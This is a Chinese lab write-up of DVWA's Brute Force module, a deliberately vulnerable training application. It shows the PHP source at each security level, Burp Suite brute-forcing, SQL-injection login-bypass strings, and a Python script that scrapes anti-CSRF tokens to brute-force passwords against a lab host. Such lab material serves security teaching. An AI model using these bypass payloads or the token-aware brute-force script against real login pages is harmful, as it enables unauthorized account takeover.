zoukankan      html  css  js  c++  java
  • DVWA之Brute Force

    DVWA简介

     

    DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。

     

    DVWA共有十个模块,分别是Brute Force(暴力(破解))、Command Injection(命令行注入)、CSRF(跨站请求伪造)、File Inclusion(文件包含)、File Upload(文件上传)、Insecure CAPTCHA(不安全的验证码)、SQL Injection(SQL注入)、SQL Injection(Blind)(SQL盲注)、XSS(Reflected)(反射型跨站脚本)、XSS(Stored)(存储型跨站脚本)。

     

     环境搭建参考:https://www.freebuf.com/sectool/102661.html

     

    Brute Force

    Brute Force,即暴力(破解),是指黑客利用密码字典,使用穷举法猜解出用户口令,是现在最为广泛使用的攻击手法之一,

     

     

     

    low级别:
    观察源代码:

     

    复制代码
     <?php
    
    if( isset( $_GET[ 'Login' ] ) ) {
        // Get username
        $user = $_GET[ 'username' ];
    
        // Get password
        $pass = $_GET[ 'password' ];
        $pass = md5( $pass );
    
        // Check the database
        $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
        if( $result && mysqli_num_rows( $result ) == 1 ) {
            // Get users details
            $row    = mysqli_fetch_assoc( $result );
            $avatar = $row["avatar"];
    
            // Login successful
            echo "<p>欢迎使用密码保护区 {$user}</p>";
            echo "<img src="{$avatar}" />";
        }
        else {
            // Login failed
            echo "<pre><br />用户名或密码不正确.</pre>";
        }
    
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    }
    
    ?>
    复制代码

     

    第一步:输入用户名和密码

     

    方法一爆破利用burpsuite即可完成

    第一步抓包

     

     

     

     

    第二步,ctrl+I将包复制到intruder模块,因为要对password参数进行爆破,所以在password参数的内容两边加$

     

     

     

     

     

     第三步选中Payloads,载入字典,点击Start attack进行爆破

     

     

     

     

     

    线程50

     

    结果

     

     可以看到里面有一个的length长度不一样,这个的返回值就是正确的,这样就从字典爆破出了用户名和密码。

    第二种方法:手工注入。虽然这是爆破破解模块,但是因为网页防护等级较低,所以也可以sql注入。

     

    一、用户名为:admin‘# 密码随意即可登陆

     

     

     

     

     

     

     二、用户名为:admin ’ or ‘1’=‘1 密码随意

     

     

     

     

     

     

     

     

    Medium级别:

     

    参考链接:https://blog.csdn.net/liweibin812/article/details/86287645

    观察代码:

     

    复制代码
    <?php
    
    if( isset( $_GET[ 'Login' ] ) ) {
        // Sanitise username input
        $user = $_GET[ 'username' ];
        $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    
        // Sanitise password input
        $pass = $_GET[ 'password' ];
        $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass = md5( $pass );
    
        // Check the database
        $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
        if( $result && mysqli_num_rows( $result ) == 1 ) {
            // Get users details
            $row    = mysqli_fetch_assoc( $result );
            $avatar = $row["avatar"];
    
            // Login successful
            echo "<p>欢迎使用密码保护区 {$user}</p>";
            echo "<img src="{$avatar}" />";
        }
        else {
            // Login failed
            sleep( 2 );
            echo "<pre><br />用户名或密码不正确.</pre>";
        }
    
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    }
    
    ?> 
    复制代码

     

     相比Low级别的代码,Medium级别的代码主要增加了mysql_real_escape_string函数,这个函数会对字符串中的特殊符号(x00,n,r,,’,”,x1a)进行转义,基本上能够抵御sql注入攻击,说基本上是因为查到说 MySQL5.5.37以下版本如果设置编码为GBK,能够构造编码绕过mysql_real_escape_string 对单引号的转义(因实验环境的MySQL版本较新,所以并未做相应验证);同时,$pass做了MD5校验,杜绝了通过参数password进行sql注入的可能性。但是,依然没有加入有效的防爆破机制(sleep(2)实在算不上)。

    但是依然可以用暴力破解的方式,步骤与上面完全一样,所以不再赘述。

     

     

     

     

    high级别

    观察代码:

     

    复制代码
    Brute Force Source
    vulnerabilities/brute/source/impossible.php
    <?php
    
    if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // Sanitise username input
        $user = $_POST[ 'username' ];
        $user = stripslashes( $user );
        $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    
        // Sanitise password input
        $pass = $_POST[ 'password' ];
        $pass = stripslashes( $pass );
        $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass = md5( $pass );
    
        // Default values
        $total_failed_login = 3;
        $lockout_time       = 15;
        $account_locked     = false;
    
        // Check the database (Check user information)
        $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
        $row = $data->fetch();
    
        // Check to see if the user has been locked out.
        if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
            // User locked out.  Note, using this method would allow for user enumeration!
            //echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";
    
            // Calculate when the user would be allowed to login again
            $last_login = strtotime( $row[ 'last_login' ] );
            $timeout    = $last_login + ($lockout_time * 60);
            $timenow    = time();
    
            /*
            print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
            print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
            print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
            */
    
            // Check to see if enough time has passed, if it hasn't locked the account
            if( $timenow < $timeout ) {
                $account_locked = true;
                // print "The account is locked<br />";
            }
        }
    
        // Check the database (if username matches the password)
        $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR);
        $data->bindParam( ':password', $pass, PDO::PARAM_STR );
        $data->execute();
        $row = $data->fetch();
    
        // If its a valid login...
        if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
            // Get users details
            $avatar       = $row[ 'avatar' ];
            $failed_login = $row[ 'failed_login' ];
            $last_login   = $row[ 'last_login' ];
    
            // Login successful
            echo "<p>欢迎使用密码保护区 <em>{$user}</em></p>";
            echo "<img src="{$avatar}" />";
    
            // Had the account been locked out since last login?
            if( $failed_login >= $total_failed_login ) {
                echo "<p><em>警告</em>: 有人可能暴力破解你的帐户.</p>";
                echo "<p>登录尝试次数: <em>{$failed_login}</em>.<br />上次登录尝试时间: <em>${last_login}</em>.</p>";
            }
    
            // Reset bad login count
            $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
            $data->bindParam( ':user', $user, PDO::PARAM_STR );
            $data->execute();
        } else {
            // Login failed
            sleep( rand( 2, 4 ) );
    
            // Give the user some feedback
            echo "<pre><br />用户名或密码不正确.<br /><br/>或者,由于登录失败太多,帐户已被锁定.<br />如果是这样的话, <em>请在 {$lockout_time} 分钟后尝试</em>.</pre>";
    
            // Update bad login count
            $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
            $data->bindParam( ':user', $user, PDO::PARAM_STR );
            $data->execute();
        }
    
        // Set the last login time
        $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    
    ?>
    复制代码

     

     

     

     High级别的代码加入了Token,可以抵御CSRF攻击,同时也增加了爆破的难度,通过抓包,可以看到,登录验证时提交了四个参数:username、password、Login以及user_token。

     

     

     

     

     

     每次服务器返回的登陆页面中都会包含一个随机的user_token的值,用户每次登录时都要将user_token一起提交。服务器收到请求后,会优先做token的检查,再进行sql查询。

     

     同时,High级别的代码中,使用了stripslashes(去除字符串中的反斜线字符,如果有两个连续的反斜线,则只去掉一个)、 mysql_real_escape_string对参数username、password进行过滤、转义,进一步抵御sql注入。

     

     

    将抓到的包发送到intrude,选择攻击模式为pitchfock,并且给要破解的项带上美元符号

     

     设置密码本,点击payload,选择第一项的密码本与低等级的相同,第二项的时候选择Recursive grep 并且把之前得到的token值粘贴到下方的方框中。

     

     

     

     

     选择options将线程数设置为1

     

    找到Grep-Extract模块进行相应设置

    找到Redirections模块设置允许重定向,选择always

     

     

     开始爆破

    没破解成功 -.-||  

     

     由于加入了Anti-CSRFtoken预防无脑爆破,这里就不推荐用Burpsuite了,还是简单用python写个脚本

     

     

     

    复制代码
    from bs4 import BeautifulSoup
    import urllib2
    header={        'Host': '192.168.153.130',
            'Cache-Control': 'max-age=0',
            'If-None-Match': "307-52156c6a290c0",
            'If-Modified-Since': 'Mon, 05 Oct 2015 07:51:07 GMT',
            'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36',
            'Accept': '*/*',
            'Referer': 'http://192.168.153.130/dvwa/vulnerabilities/brute/index.php',
            'Accept-Encoding': 'gzip, deflate, sdch',
            'Accept-Language': 'zh-CN,zh;q=0.8',
            'Cookie': 'security=high; PHPSESSID=5re92j36t4f2k1gvnqdf958bi2'}
    requrl = "http://192.168.153.130/dvwa/vulnerabilities/brute/"
    
    def get_token(requrl,header):
        req = urllib2.Request(url=requrl,headers=header)
        response = urllib2.urlopen(req)
        print response.getcode(),
        the_page = response.read()
        print len(the_page)
        soup = BeautifulSoup(the_page,"html.parser")
        user_token = soup.form.input.input.input.input["value"] #get the user_token
        return user_token
    
    user_token = get_token(requrl,header)
    i=0
    for line in open("rkolin.txt"):
        requrl = "http://192.168.153.130/dvwa/vulnerabilities/brute/"+"?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
        i = i+1
        print i,'admin',line.strip(),
        user_token = get_token(requrl,header)
        if (i == 10):
            break
    复制代码

     

     

    get_token的功能是通过python的BeautifulSoup库从html页面中抓取user_token的值,为了方便展示,这里设置只尝试10次。

    运行脚本时的Burpsuite

    打印的结果从第二行开始依次是序号、用户名、密码、http状态码以及返回的页面长度。

     

    Impossible

    Impossible级别的代码加入了可靠的防爆破机制,当检测到频繁的错误登录后,系统会将账户锁定,爆破也就无法继续。

    同时采用了更为安全的PDO(PHP Data Object)机制防御sql注入,这是因为不能使用PDO扩展本身执行任何数据库操作,而sql注入的关键就是通过破坏sql语句结构执行恶意的sql命令。

     

  • 相关阅读:
    Do You See Me? Ethical Considerations of the Homeless
    ELDER HOMELESSNESS WHY IS THIS AN ISSUE?
    Endoflife support is lacking for homeless people
    html内联框架
    html字体
    html块 div span
    html列表
    html表格
    SQL Server管理员专用连接的使用   作为一名DBA,经常会处理一些比较棘手的服务无响应问题,鉴于事态的严重性,多数DBA可能直接用“重启”大法,以便尽快的恢复生产环境的正常运转,但是多数情况
    如何配置最大工作线程数 (SQL Server Management Studio)
  • 原文地址:https://www.cnblogs.com/xingyuner/p/12274802.html
Copyright © 2011-2022 走看看